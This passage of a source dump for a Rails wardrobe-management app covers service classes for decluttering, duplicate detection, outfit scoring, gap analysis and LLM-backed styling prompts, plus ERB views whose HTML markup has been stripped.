fit_score) * 0.14 +\n      duplicate_pressure * 0.14 +\n      cost_pressure * 0.08 +\n      repair_pressure * 0.08\n  end\n\n  def quadrant\n    return \"high_joy_high_use\" if high_joy? &amp;&amp; high_utility?\n    return \"high_joy_low_use\" if high_joy? &amp;&amp; !high_utility?\n    return \"low_joy_high_use\" if !high_joy? &amp;&amp; high_utility?\n\n    \"low_joy_low_use\"\n  end\n\n  def high_joy? = joy_score &gt;= 0.6\n  def high_utility? = utility_score &gt;= 0.45\n\n  def sentimental_signal?\n    @item.declutter_review&amp;.reason_kept.in?(%w[memory gift rare]) || @item.life_phase == \"past-self\"\n  end\n\n  def resale_candidate?\n    @item.price.to_f &gt;= 300 &amp;&amp; @item.photos.attached? &amp;&amp; total_release_score &gt; 0.45\n  end\n\n  def donation_candidate?\n    total_release_score &gt; 0.55 &amp;&amp; !resale_candidate?\n  end\nend\n```\n\n## `rails/amber/app/services/duplicate_detector_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DuplicateDetectorService\n  def initialize(user)\n    @user = user\n  end\n\n  def groups(min_size: 2)\n    @user.items.active_wardrobe.group_by(&amp;:duplicate_key).values.select { |items| items.size &gt;= min_size }\n  end\n\n  def ranked_groups\n    groups.map do |items|\n      {\n        key: items.first.duplicate_key,\n        count: items.size,\n        keeper: best_keeper(items),\n        candidates: release_candidates(items),\n        reason: reason_for(items)\n      }\n    end.sort_by { |group| -group[:count] }\n  end\n\n  private\n\n  def best_keeper(items)\n    items.max_by { |item| [item.times_worn.to_i, item.spark_joy? ? 1 : 0, -(item.cost_per_wear || 0)] }\n  end\n\n  def release_candidates(items)\n    keeper = best_keeper(items)\n    items.reject { |item| item == keeper }.sort_by { |item| [-item.declutter_score[:total_release_score], item.times_worn.to_i] }\n  end\n\n  def reason_for(items)\n    first = items.first\n    \"#{items.size} similar #{first.color} #{first.category.to_s.downcase} items. Keep the best-fitting favorite and release weak duplicates.\"\n  end\nend\n```\n\n## `rails/amber/app/services/garment_taxonomy.rb`\n```ruby\n# frozen_string_literal: true\n\nclass GarmentTaxonomy\n  CATEGORY_ALIASES = {\n    \"top\" =&gt; \"Tops\",\n    \"shirt\" =&gt; \"Tops\",\n    \"tee\" =&gt; \"Tops\",\n    \"t-shirt\" =&gt; \"Tops\",\n    \"pants\" =&gt; \"Bottoms\",\n    \"trousers\" =&gt; \"Bottoms\",\n    \"jeans\" =&gt; \"Bottoms\",\n    \"skirt\" =&gt; \"Bottoms\",\n    \"dress\" =&gt; \"Dresses\",\n    \"shoe\" =&gt; \"Shoes\",\n    \"sneaker\" =&gt; \"Shoes\",\n    \"boot\" =&gt; \"Shoes\",\n    \"jacket\" =&gt; \"Outerwear\",\n    \"coat\" =&gt; \"Outerwear\",\n    \"accessory\" =&gt; \"Accessories\",\n    \"bag\" =&gt; \"Accessories\"\n  }.freeze\n\n  WEATHER_BY_MATERIAL = {\n    /wool|cashmere|alpaca/i =&gt; \"cold\",\n    /linen|hemp/i =&gt; \"warm\",\n    /cotton/i =&gt; \"mild\",\n    /leather|suede/i =&gt; \"dry\",\n    /nylon|polyester|shell/i =&gt; \"rain\"\n  }.freeze\n\n  FORMALITY_BY_CATEGORY = {\n    \"Dresses\" =&gt; 0.65,\n    \"Outerwear\" =&gt; 0.45,\n    \"Shoes\" =&gt; 0.5,\n    \"Accessories\" =&gt; 0.35,\n    \"Tops\" =&gt; 0.4,\n    \"Bottoms\" =&gt; 0.4\n  }.freeze\n\n  def self.normalize_category(value)\n    raw = value.to_s.strip\n    Item::CATEGORIES.find { |category| category.casecmp?(raw) } || CATEGORY_ALIASES.fetch(raw.downcase, raw.presence || \"Accessories\")\n  end\n\n  def self.weather_fit(item)\n    material = item.material.to_s\n    match = WEATHER_BY_MATERIAL.find { |pattern, _fit| material.match?(pattern) }\n    match&amp;.last || \"all_weather\"\n  end\n\n  def self.formality_score(item)\n    base = FORMALITY_BY_CATEGORY.fetch(item.category, 0.4)\n    modifiers = [item.brand, item.material, item.occasion_tags].join(\" \")\n    base += 0.2 if modifiers.match?(/silk|wool|tailored|formal|wedding|office/i)\n    base -= 0.15 if modifiers.match?(/gym|sweat|jersey|beach/i)\n    base.clamp(0.0, 1.0).round(2)\n  end\n\n  def self.semantic_tags(item)\n    [\n      item.category,\n      item.color,\n      item.material,\n      item.brand,\n      weather_fit(item),\n      \"formality:#{formality_score(item)}\",\n      *item.occasions\n    ].compact.map(&amp;:to_s).reject(&amp;:blank?).uniq\n  end\nend\n```\n\n## `rails/amber/app/services/last_chance_outfit_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass LastChanceOutfitService\n  def initialize(item)\n    @item = item\n    @user = item.user\n  end\n\n  def suggestions(limit: 3)\n    compatible_items = @user.items.active_wardrobe.where.not(id: @item.id).to_a\n    outfits = []\n\n    limit.times do |index|\n      outfit_items = build_candidate(compatible_items, offset: index)\n      outfits &lt;&lt; explain(outfit_items) if outfit_items.size &gt; 1\n    end\n\n    outfits.uniq { |outfit| outfit[:item_ids].sort }\n  end\n\n  private\n\n  def build_candidate(items, offset: 0)\n    selected = [@item]\n    needed_categories.each_with_index do |category, idx|\n      candidate = items.select { |item| item.category == category }.sort_by do |item|\n        [-(item.times_worn.to_i), item.color.to_s == @item.color.to_s ? 0 : 1, item.title.to_s]\n      end.rotate(offset + idx).first\n      selected &lt;&lt; candidate if candidate\n    end\n    selected.compact.uniq\n  end\n\n  def needed_categories\n    case @item.category\n    when \"Tops\" then %w[Bottoms Shoes Outerwear]\n    when \"Bottoms\" then %w[Tops Shoes Outerwear]\n    when \"Shoes\" then %w[Tops Bottoms]\n    when \"Dresses\" then %w[Shoes Outerwear Accessories]\n    else %w[Tops Bottoms Shoes]\n    end\n  end\n\n  def explain(items)\n    {\n      item_ids: items.map(&amp;:id),\n      titles: items.map(&amp;:title),\n      reason: \"Last-chance outfit for #{@item.title}: test whether it still has a role in your real wardrobe.\"\n    }\n  end\nend\n```\n\n## `rails/amber/app/services/outfit_compatibility_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass OutfitCompatibilityService\n  OCCASION_WEIGHTS = {\n    \"work\" =&gt; 0.72,\n    \"formal\" =&gt; 0.85,\n    \"gym\" =&gt; 0.18,\n    \"date\" =&gt; 0.65,\n    \"travel\" =&gt; 0.45,\n    \"casual\" =&gt; 0.35\n  }.freeze\n\n  def initialize(user)\n    @user = user\n  end\n\n  def score(outfit, occasion: nil, weather: nil)\n    items = outfit.items.to_a\n    return 0.0 if items.empty?\n\n    scores = [category_balance(items), color_balance(items), occasion_fit(items, occasion), weather_fit(items, weather), preference_fit(items)]\n    (scores.sum / scores.size).round(3)\n  end\n\n  def explain(outfit, occasion: nil, weather: nil)\n    items = outfit.items.to_a\n    {\n      category_balance: category_balance(items),\n      color_balance: color_balance(items),\n      occasion_fit: occasion_fit(items, occasion),\n      weather_fit: weather_fit(items, weather),\n      preference_fit: preference_fit(items),\n      overall: score(outfit, occasion:, weather:)\n    }\n  end\n\n  private\n\n  def category_balance(items)\n    categories = items.map(&amp;:category).compact\n    required = %w[Tops Bottoms Shoes]\n    coverage = required.count { |category| categories.include?(category) } / required.size.to_f\n    [coverage, 1.0].min\n  end\n\n  def color_balance(items)\n    colors = items.map(&amp;:color).compact_blank.map(&amp;:downcase)\n    return 0.5 if colors.empty?\n    unique = colors.uniq.size\n    return 0.9 if unique &lt;= 3\n    return 0.7 if unique == 4\n\n    0.45\n  end\n\n  def occasion_fit(items, occasion)\n    return 0.7 if occasion.blank?\n    desired = OCCASION_WEIGHTS.fetch(occasion.to_s.downcase, 0.5)\n    avg = items.sum { |item| GarmentTaxonomy.formality_score(item) } / items.size.to_f\n    (1.0 - (desired - avg).abs).clamp(0.0, 1.0)\n  end\n\n  def weather_fit(items, weather)\n    return 0.75 if weather.blank?\n    weather = weather.to_s.downcase\n    matches = items.count { |item| [GarmentTaxonomy.weather_fit(item), \"all_weather\"].include?(weather) || GarmentTaxonomy.weather_fit(item) == \"all_weather\" }\n    [matches / items.size.to_f, 1.0].min\n  end\n\n  def preference_fit(items)\n    preferences = @user.style_preferences.to_a\n    return 0.7 if preferences.empty?\n\n    text = items.map(&amp;:embedding_text).join(\" \").downcase\n    total_weight = preferences.sum { |preference| preference.weight.to_f.abs }\n    return 0.7 if total_weight.zero?\n\n    score = preferences.sum do |preference|\n      text.include?(preference.name.to_s.downcase) ? preference.weight.to_f : 0\n    end\n\n    ((score / total_weight) + 0.5).clamp(0.0, 1.0)\n  end\nend\n```\n\n## `rails/amber/app/services/outfit_ordering.rb`\n```ruby\n# frozen_string_literal: true\n\nclass OutfitOrdering\n  def self.call(outfit, ordered_ids)\n    new(outfit, ordered_ids).call\n  end\n\n  def initialize(outfit, ordered_ids)\n    @outfit = outfit\n    @ordered_ids = Array(ordered_ids).map(&amp;:to_s)\n  end\n\n  def call\n    items = outfit.outfit_items.where(id: ordered_ids)\n    index = ordered_ids.each_with_index.to_h\n\n    items.find_each do |outfit_item|\n      outfit_item.update!(position: index.fetch(outfit_item.id.to_s, outfit_item.position))\n    end\n\n    Shared::EventEmitter.call(\"amber.outfit.reordered\", outfit_id: outfit.id, count: ordered_ids.size) if defined?(Shared::EventEmitter)\n    outfit.outfit_items.order(:position)\n  end\n\n  private\n\n  attr_reader :outfit, :ordered_ids\nend\n```\n\n## `rails/amber/app/services/wardrobe_ai_service.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"zlib\"\nrequire \"base64\"\n\nclass WardrobeAiService\n  OPENROUTER_BASE = \"https://openrouter.ai/api/v1\"\n  MODEL = \"google/gemini-2.0-flash-001\"\n\n  def initialize(user, client: nil)\n    @user = user\n    @client = client || build_client\n  end\n\n  def analyze_joy(item)\n    prompt = &lt;&lt;~PROMPT\n      Analyze this clothing item from a Marie Kondo perspective.\n      Reply with JSON: {\"sparks_joy\": true/false, \"reason\": \"brief explanation\", \"suggestion\": \"action to take\"}\n\n      Item: #{item.title}\n      Category: #{item.category}\n      Color: #{item.color}\n      Times worn: #{item.times_worn || 0}\n      Age: #{item.purchase_date ? \"#{((Date.today - item.purchase_date) / 365).to_i} years\" : \"unknown\"}\n    PROMPT\n\n    chat(prompt).tap do |r|\n      r[\"sparks_joy\"] = nil unless r.key?(\"sparks_joy\")\n      r[\"reason\"]     ||= \"Analysis unavailable\"\n      r[\"suggestion\"] ||= \"Trust your instincts\"\n    end\n  end\n\n  def suggest_outfits(occasion: nil, season: nil)\n    items = @user.items.joy.active_wardrobe.limit(20).to_a\n    items_summary = items.map { |i| \"#{i.title} (#{i.category}, #{i.color})\" }.join(\", \")\n    prompt = &lt;&lt;~PROMPT\n      You are a fashion stylist with vision. Suggest 3 outfit combinations (3 items each) from the wardrobe.\n      Use both the text metadata and the attached photos to judge fit, colour harmony, style, and occasion.\n      #{occasion ? \"Occasion: #{occasion}\" : \"\"}\n      #{season ? \"Season: #{season}\" : \"\"}\n      Items: #{items_summary}\n      Reply ONLY with JSON: {\"outfits\": [{\"name\": \"outfit name\", \"items\": [\"item title 1\", \"item title 2\", \"item title 3\"], \"description\": \"why it works\"}]}\n    PROMPT\n    vision_items = items.select { |i| i.photos.attached? }.first(5)\n    if vision_items.any? &amp;&amp; @client\n      images = vision_items.map { |i| image_data_url(i.photos.first) }.compact\n      chat_with_vision(prompt, images)[\"outfits\"] || []\n    else\n      chat(prompt)[\"outfits\"] || []\n    end\n  end\n\n  def declutter_candidates\n    @user.items.aging_unworn.order(price: :desc)\n  end\n\n  def capsule_optimizer\n    catalog = @user.items.map { |i| \"#{i.id}:#{i.title}(#{i.category},#{i.color})\" }.join(\"; \")\n    prompt = &lt;&lt;~P\n      You are a capsule wardrobe expert. Given this wardrobe catalog, select a minimum keep-set\n      that maximises outfit combinations. For each item return: keep/consider/release and reason.\n      Respond with JSON: {\"items\":[{\"id\":N,\"title\":\"...\",\"decision\":\"keep|consider|release\",\"reason\":\"...\"}],\"gap_items\":[\"description of missing pieces\"]}\n      Catalog: #{catalog}\n    P\n    chat(prompt)\n  end\n\n  def color_palette_analysis\n    items_desc = @user.items.map { |i| \"#{i.title}: #{i.color}\" }.join(\", \")\n    prompt = &lt;&lt;~P\n      Analyse this wardrobe color list and identify the dominant palette, harmony gaps,\n      and any clashing items. Map to a seasonal color system where possible.\n      Respond with JSON: {\"palette\":\"...\",\"season_type\":\"...\",\"harmonious\":[\"item desc\"],\"clashing\":[\"item desc\"],\"suggestions\":[\"...\"]}\n      Items: #{items_desc}\n    P\n    chat(prompt)\n  end\n\n  def natural_language_search(query)\n    catalog = @user.items.map { |i| \"id=#{i.id} #{i.title} #{i.category} #{i.color} #{i.material} #{i.occasion_tags} #{i.season}\" }.join(\"\\n\")\n    prompt = &lt;&lt;~P\n      From this wardrobe, find items matching: \"#{query}\"\n      Return JSON: {\"item_ids\":[array of matching ids],\"explanation\":\"...\"}\n      Wardrobe:\n      #{catalog}\n    P\n    chat(prompt)\n  end\n\n  def mood_board_match(description)\n    catalog = @user.items.map { |i| \"id=#{i.id} #{i.title} #{i.category} #{i.color} #{i.material}\" }.join(\"\\n\")\n    prompt = &lt;&lt;~P\n      Style reference: \"#{description}\"\n      From this wardrobe, suggest the best outfit matching that aesthetic.\n      Return JSON: {\"item_ids\":[array of ids],\"outfit_name\":\"...\",\"description\":\"why this matches\"}\n      Wardrobe:\n      #{catalog}\n    P\n    chat(prompt)\n  end\n\n  def enclothed_cognition_tag(item)\n    prompt = &lt;&lt;~P\n      For this clothing item, suggest the most likely psychological/mood effect when worn.\n      Choose one: energising, calming, confident, playful, neutral.\n      Also suggest life_phase: current, past-self, or aspirational.\n      Reply JSON: {\"mood_effect\":\"...\",\"life_phase\":\"...\",\"reason\":\"...\"}\n      Item: #{item.title}, category: #{item.category}, color: #{item.color}, brand: #{item.brand}\n    P\n    chat(prompt)\n  end\n\n  def embedding_for(item)\n    text = item.embedding_text.to_s\n    seed = Zlib.crc32(text)\n    Array.new(64) do |index|\n      (((seed + index * 1_103_515_245) % 10_000) / 10_000.0).round(6)\n    end\n  end\n\n  private\n\n  def build_client\n    token = ENV[\"OPENROUTER_API_KEY\"].to_s.strip\n    return nil if token.empty?\n\n    OpenAI::Client.new(access_token: token, uri_base: OPENROUTER_BASE)\n  end\n\n  def chat(prompt)\n    return fallback_response(prompt) unless @client\n\n    response = @client.chat(\n      parameters: {\n        model: MODEL,\n        messages: [{ role: \"user\", content: prompt }],\n        response_format: { type: \"json_object\" },\n      },\n    )\n    content = response.dig(\"choices\", 0, \"message\", \"content\")\n    return fallback_response(prompt) if content.blank?\n\n    JSON.parse(content)\n  rescue JSON::ParserError =&gt; e\n    Rails.logger.warn(\"WardrobeAI invalid JSON: #{e.message}\")\n    fallback_response(prompt)\n  rescue StandardError =&gt; e\n    Rails.logger.error(\"WardrobeAI error: #{e.class}: #{e.message}\")\n    fallback_response(prompt)\n  end\n\n  def fallback_response(prompt)\n    if prompt.include?(\"outfit combinations\")\n      { \"outfits\" =&gt; [] }\n    elsif prompt.include?(\"matching:\")\n      { \"item_ids\" =&gt; [], \"explanation\" =&gt; \"AI search unavailable\" }\n    elsif prompt.include?(\"capsule wardrobe\")\n      { \"items\" =&gt; [], \"gap_items\" =&gt; [] }\n    else\n      {}\n    end\n  end\n\n  def infer_style_profile(answers)\n    prompt = &lt;&lt;~PROMPT\n      User answered these 5 style profile questions. Infer primary aesthetic as one of: minimal, bold, classic.\n      Return JSON only: {\"aesthetic\": \"minimal|bold|classic\", \"reason\": \"short\", \"suggestions\": [\"item type 1\", \"item type 2\"]}\n      Answers: #{answers.inspect}\n      Current wardrobe sample: #{ @user.items.limit(3).map { |i| \"#{i.title} (#{i.category}, #{i.color})\" }.join(\"; \") }\n    PROMPT\n    chat(prompt)\n  end\n\n  def suggest_packing_list(duration, climate)\n    prompt = &lt;&lt;~PROMPT\n      Suggest 5-8 outfits from the user's wardrobe for a #{duration}-day trip in #{climate} climate.\n      Return JSON: {\"outfits\": [{\"name\": \"outfit name\", \"items\": [\"item title 1\", \"item title 2\"]}, ...], \"tips\": \"brief packing tip\"}\n      User wardrobe: #{ @user.items.limit(10).map { |i| \"#{i.title} (#{i.category}, #{i.color}, #{i.season})\" }.join(\"; \") }\n    PROMPT\n    chat(prompt)\n  end\n\n  def image_data_url(photo)\n    return nil unless photo\n    data = photo.download\n    \"data:#{photo.content_type.presence || 'image/jpeg'};base64,#{Base64.strict_encode64(data)}\"\n  end\n\n  def chat_with_vision(prompt, image_data_urls)\n    return fallback_response(prompt) unless @client &amp;&amp; image_data_urls.any?\n\n    content = [{ type: \"text\", text: prompt }]\n    image_data_urls.each do |url|\n      content &lt;&lt; { type: \"image_url\", image_url: { url: url } }\n    end\n\n    response = @client.chat(\n      parameters: {\n        model: MODEL,\n        messages: [{ role: \"user\", content: content }],\n      },\n    )\n    content = response.dig(\"choices\", 0, \"message\", \"content\")\n    return fallback_response(prompt) if content.blank?\n\n    JSON.parse(content)\n  rescue JSON::ParserError =&gt; e\n    Rails.logger.warn(\"WardrobeAI vision invalid JSON: #{e.message}\")\n    fallback_response(prompt)\n  rescue StandardError =&gt; e\n    Rails.logger.error(\"WardrobeAI vision error: #{e.class}: #{e.message}\")\n    fallback_response(prompt)\n  end\nend\n```\n\n## `rails/amber/app/services/wardrobe_gap_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WardrobeGapService\n  ESSENTIALS = {\n    \"Tops\" =&gt; 5,\n    \"Bottoms\" =&gt; 3,\n    \"Shoes\" =&gt; 2,\n    \"Outerwear\" =&gt; 1,\n    \"Accessories\" =&gt; 2\n  }.freeze\n\n  CONNECTORS = [\n    { name: \"neutral top\", category: \"Tops\", colors: %w[white black navy grey beige] },\n    { name: \"dark bottom\", category: \"Bottoms\", colors: %w[black navy denim charcoal] },\n    { name: \"weather layer\", category: \"Outerwear\", colors: %w[black navy beige olive] },\n    { name: \"versatile shoe\", category: \"Shoes\", colors: %w[black white brown] }\n  ].freeze\n\n  def initialize(user)\n    @user = user\n  end\n\n  def gaps\n    ESSENTIALS.filter_map do |category, minimum|\n      count = @user.items.by_category(category).count\n      next if count &gt;= minimum\n\n      {\n        kind: \"category_minimum\",\n        category: category,\n        owned: count,\n        target: minimum,\n        missing: minimum - count,\n        reason: \"A resilient wardrobe usually needs at least #{minimum} #{category.downcase}.\"\n      }\n    end + connector_gaps\n  end\n\n  def create_recommendations!\n    gaps.each do |gap|\n      @user.recommendations.find_or_create_by!(kind: \"purchase_gap\", reason: gap[:reason]) do |recommendation|\n        recommendation.score = gap.fetch(:missing, 1).to_f\n        recommendation.metadata = gap\n      end\n    end\n  end\n\n  private\n\n  def connector_gaps\n    CONNECTORS.filter_map do |connector|\n      exists = @user.items.by_category(connector[:category]).any? do |item|\n        connector[:colors].include?(item.color.to_s.downcase)\n      end\n      next if exists\n\n      {\n        kind: \"connector\",\n        category: connector[:category],\n        name: connector[:name],\n        reason: \"Missing #{connector[:name]} for easier outfit combinations.\"\n      }\n    end\n  end\nend\n```\n\n## `rails/amber/app/services/wardrobe_visibility_policy.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WardrobeVisibilityPolicy\n  def initialize(viewer:, owner:)\n    @viewer = viewer\n    @owner = owner\n  end\n\n  def can_view_wardrobe?\n    return true if @viewer == @owner\n\n    setting = @owner.privacy_setting\n    return false unless setting\n    return true if setting.wardrobe_public?\n    return @viewer&amp;.following?(@owner) if setting.wardrobe_followers?\n\n    false\n  end\n\n  def can_remix_creator_wardrobe?\n    @owner.creator_profile&amp;.public? &amp;&amp; @owner.privacy_setting&amp;.allow_creator_remix?\n  end\n\n  def can_run_ai_analysis?\n    @viewer == @owner &amp;&amp; (@owner.privacy_setting&amp;.allow_ai_analysis? != false)\n  end\nend\n```\n\n## `rails/amber/app/services/weather_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WeatherService\n  BERGEN_LAT  = 60.39\n  BERGEN_LNG  = 5.32\n  API_URL     = \"https://api.open-meteo.com/v1/forecast\"\n\n  def self.today\n    uri = URI(\"#{API_URL}?latitude=#{BERGEN_LAT}&amp;longitude=#{BERGEN_LNG}\" \\\n              \"&amp;current=temperature_2m,weathercode,windspeed_10m\" \\\n              \"&amp;forecast_days=1\")\n    data = JSON.parse(Net::HTTP.get(uri))\n    current = data[\"current\"]\n    {\n      temp:        current[\"temperature_2m\"].to_f,\n      code:        current[\"weathercode\"].to_i,\n      wind:        current[\"windspeed_10m\"].to_f,\n      description: decode_weather(current[\"weathercode\"].to_i)\n    }\n  rescue StandardError =&gt; e\n    Rails.logger.warn(\"WeatherService: #{e.message}\")\n    nil\n  end\n\n  def self.decode_weather(code)\n    case code\n    when 0       then \"Clear\"\n    when 1..3    then \"Partly cloudy\"\n    when 45, 48  then \"Foggy\"\n    when 51..67  then \"Rainy\"\n    when 71..77  then \"Snowy\"\n    when 80..82  then \"Showers\"\n    when 95..99  then \"Thunderstorm\"\n    else              \"Mixed\"\n    end\n  end\nend\n```\n\n## `rails/amber/app/views/ai/_analysis.html.erb`\n```erb\n\n\n  &lt;% if result[\"sparks_joy\"].nil? %&gt;\n    \nAnalysis unavailable\n  &lt;% else %&gt;\n    &lt;%= result[\"sparks_joy\"] ? \"Sparks joy\" : \"Does not spark joy\" %&gt;\n    \n&lt;%= result[\"reason\"] %&gt;\n    \n&lt;%= result[\"suggestion\"] %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/ai/_item_tags.html.erb`\n```erb\n\n\n  &lt;% if item.mood_effect.present? %&gt;\n    Mood: &lt;%= item.mood_effect %&gt;\n  &lt;% end %&gt;\n  &lt;% if item.life_phase.present? %&gt;\n    &lt;%= item.life_phase %&gt;\n  &lt;% end %&gt;\n  &lt;% if result[\"reason\"].present? %&gt;\n    \n&lt;%= result[\"reason\"] %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/ai/capsule.html.erb`\n```erb\n&lt;% content_for :title, \"Capsule Optimizer\" %&gt;\n\n\n\n  \n\n    \nCapsule builder\n    \nCapsule Wardrobe Optimizer\n  \n  \n\n    &lt;%= link_to \"Wardrobe\", items_path, class: \"btn\" %&gt;\n    &lt;%= link_to \"Outfits\", outfits_path, class: \"btn\" %&gt;\n  \n\n\n&lt;% if @result[\"items\"] %&gt;\n  \n\n    &lt;%= pluralize(@result[\"items\"].size, \"item reviewed\") %&gt;\n    &lt;%= pluralize(Array(@result[\"gap_items\"]).size, \"gap\") %&gt;\n  \n\n  \n\n    &lt;% @result[\"items\"].each do |item| %&gt;\n      \n\"&gt;\n        &lt;%= item[\"decision\"].to_s.humanize %&gt;\n        &lt;%= item[\"title\"] %&gt;\n        &lt;%= item[\"reason\"] %&gt;\n      \n    &lt;% end %&gt;\n  \n\n  &lt;% if @result[\"gap_items\"]&amp;.any? %&gt;\n    \n\n      \nGap items to consider\n      \nUse these as intentional purchases, not impulse buys.\n      \n&lt;% @result[\"gap_items\"].each do |gap_item| %&gt;\n&lt;%= gap_item %&gt;&lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nAdd more items to your wardrobe first.\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/ai/color_palette.html.erb`\n```erb\n&lt;% content_for :title, \"Colour Palette\" %&gt;\n\nWardrobe Colour Palette\n&lt;% if @result[\"palette\"] %&gt;\n  \n\n    \nPalette: &lt;%= @result[\"palette\"] %&gt;\n    &lt;% if @result[\"season_type\"].present? %&gt;\nSeasonal type: &lt;%= @result[\"season_type\"] %&gt;&lt;% end %&gt;\n  \n  &lt;% if @result[\"clashing\"]&amp;.any? %&gt;\n    \nClashing items\n    \n&lt;% @result[\"clashing\"].each do |i| %&gt;\n&lt;%= i %&gt;&lt;% end %&gt;\n  &lt;% end %&gt;\n  &lt;% if @result[\"suggestions\"]&amp;.any? %&gt;\n    \nSuggestions\n    \n&lt;% @result[\"suggestions\"].each do |s| %&gt;\n&lt;%= s %&gt;&lt;% end %&gt;\n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \nNot enough items to analyse.\n&lt;% end %&gt;\n\n&lt;%= link_to \"\u2190 Dashboard\", root_path %&gt;\n```\n\n## `rails/amber/app/views/ai/declutter_guide.html.erb`\n```erb\n&lt;% content_for :title, \"Declutter guide\" %&gt;\n\nDeclutter guide\n\n&lt;%= link_to \"Declutter dashboard\", declutter_index_path, class: \"btn\" %&gt;\n&lt;% if @candidates.any? %&gt;\n  \nItems to consider letting go:\n  \n&lt;%= render @candidates %&gt;\n&lt;% else %&gt;\n  \nNo declutter candidates \u2014 your wardrobe is in great shape.\n&lt;% end %&gt;\n\n&lt;%= link_to \"Back\", items_path %&gt;\n```\n\n## `rails/amber/app/views/ai/mood_board.html.erb`\n```erb\n&lt;% content_for :title, \"Mood Board Match\" %&gt;\n\nMood board match\n&lt;%= form_with url: ai_mood_board_path, method: :get do |f| %&gt;\n  \n\n    &lt;%= f.label :description, \"Describe the aesthetic or paste a style reference\" %&gt;\n    &lt;%= f.text_area :description, value: @description, rows: 3, class: \"input input--wide\" %&gt;\n  \n  \n&lt;%= f.submit \"Match from wardrobe\", class: \"btn\" %&gt;\n&lt;% end %&gt;\n&lt;% if @outfit_name.present? %&gt;\n  \n\n    \n&lt;%= @outfit_name %&gt;\n    \n&lt;%= @reasoning %&gt;\n  \n  \n&lt;%= render @items %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/ai/occasion_map.html.erb`\n```erb\n&lt;% content_for :title, \"Occasion Coverage\" %&gt;\n\nOccasion coverage map\n\n\n  &lt;% @coverage.each do |occasion, items| %&gt;\n    \n\n      \n&lt;%= occasion.capitalize %&gt;\n      &lt;%= items.size %&gt; items\n      &lt;% if items.size &lt; 2 %&gt;\n        \nGap \u2014 consider adding pieces\n      &lt;% end %&gt;\n      &lt;% items.first(3).each do |item| %&gt;\n        \n&lt;%= link_to item.title, item %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n\n&lt;%= link_to \"\u2190 Dashboard\", root_path %&gt;\n```\n\n## `rails/amber/app/views/ai/packing_list.html.erb`\n```erb\n&lt;% content_for :title, \"Packing list generator\" %&gt;\n\n\nPacking list generator\n\nSelect trip duration and climate. MASTER suggests outfits from your wardrobe.\n\n&lt;%= form_with url: ai_packing_list_path, method: :get, class: \"form\" do |f| %&gt;\n  \n\n    Duration (days)\n    &lt;%= f.select :duration, (1..14).map { |d| [d, d] }, { selected: params[:duration] } %&gt;\n  \n  \n\n    Climate\n    &lt;%= f.select :climate, [\"hot\", \"cold\", \"mild\", \"rainy\", \"dry\"], { selected: params[:climate] } %&gt;\n  \n  \n&lt;%= f.submit \"Generate with MASTER\", class: \"btn btn--primary\" %&gt;\n&lt;% end %&gt;\n\n&lt;% if @result %&gt;\n  \nSuggested outfits for &lt;%= @duration %&gt;d &lt;%= @climate %&gt;\n  &lt;% if @result[\"outfits\"] %&gt;\n    \n\n      &lt;% @result[\"outfits\"].each do |o| %&gt;\n        \n\n          &lt;%= o[\"name\"] %&gt;\n          \n&lt;% Array(o[\"items\"]).each do |it| %&gt;\n&lt;%= it %&gt;&lt;% end %&gt;\n        \n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n  &lt;% if @result[\"tips\"] %&gt;\n&lt;%= @result[\"tips\"] %&gt;&lt;% end %&gt;\n  \nPacking list created (demo). View in planned or wardrobe.\n&lt;% end %&gt;\n\n&lt;%= link_to \"Back to AI\", ai_suggest_outfits_path %&gt;\n```\n\n## `rails/amber/app/views/ai/search.html.erb`\n```erb\n&lt;% content_for :title, \"Search Wardrobe\" %&gt;\n\nSearch your wardrobe\n&lt;%= form_with url: ai_search_path, method: :get do |f| %&gt;\n  \n\n    &lt;%= f.search_field :q, value: @query, placeholder: \"e.g. something warm but not bulky for a meeting\", autofocus: true, class: \"input input--wide\" %&gt;\n    &lt;%= f.submit \"Search\", class: \"btn\" %&gt;\n  \n&lt;% end %&gt;\n&lt;% if @explanation.present? %&gt;\n  \n&lt;%= @explanation %&gt;\n&lt;% end %&gt;\n&lt;% if @items&amp;.any? %&gt;\n  \n&lt;%= render @items %&gt;\n&lt;% elsif @query.present? %&gt;\n  \nNo matches found.\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/ai/style_profile.html.erb`\n```erb\n&lt;% content_for :title, \"Style profile\" %&gt;\n\n\nStyle profile \u2014 5 questions\n\nMASTER will infer your aesthetic: minimal, bold or classic.\n\n&lt;%= form_with url: ai_style_profile_path, method: :post, class: \"form\" do |f| %&gt;\n  \n\n    1. Body type\n    &lt;%= f.select :answers, { \"Body type\" =&gt; [\"slim\", \"athletic\", \"curvy\", \"plus\"] }, {}, { name: \"answers[body_type]\" } %&gt;\n  \n  \n\n    2. Lines vs patterns\n    &lt;%= f.select :answers, { \"Preference\" =&gt; [\"minimal clean lines\", \"bold patterns and colors\"] }, {}, { name: \"answers[lines]\" } %&gt;\n  \n  \n\n    3. Timeless or trendy\n    &lt;%= f.select :answers, { \"Style\" =&gt; [\"classic timeless pieces\", \"trendy current styles\"] }, {}, { name: \"answers[timeless]\" } %&gt;\n  \n  \n\n    4. Colors\n    &lt;%= f.select :answers, { \"Palette\" =&gt; [\"neutrals and basics\", \"vibrant pops of color\"] }, {}, { name: \"answers[colors]\" } %&gt;\n  \n  \n\n    5. Fit\n    &lt;%= f.select :answers, { \"Fit\" =&gt; [\"tailored structured fits\", \"loose comfortable layers\"] }, {}, { name: \"answers[fit]\" } %&gt;\n  \n  \n&lt;%= f.submit \"Infer with MASTER\", class: \"btn btn--primary\" %&gt;\n&lt;% end %&gt;\n\n&lt;%= link_to \"Back to AI tools\", ai_suggest_outfits_path %&gt;\n```\n\n## 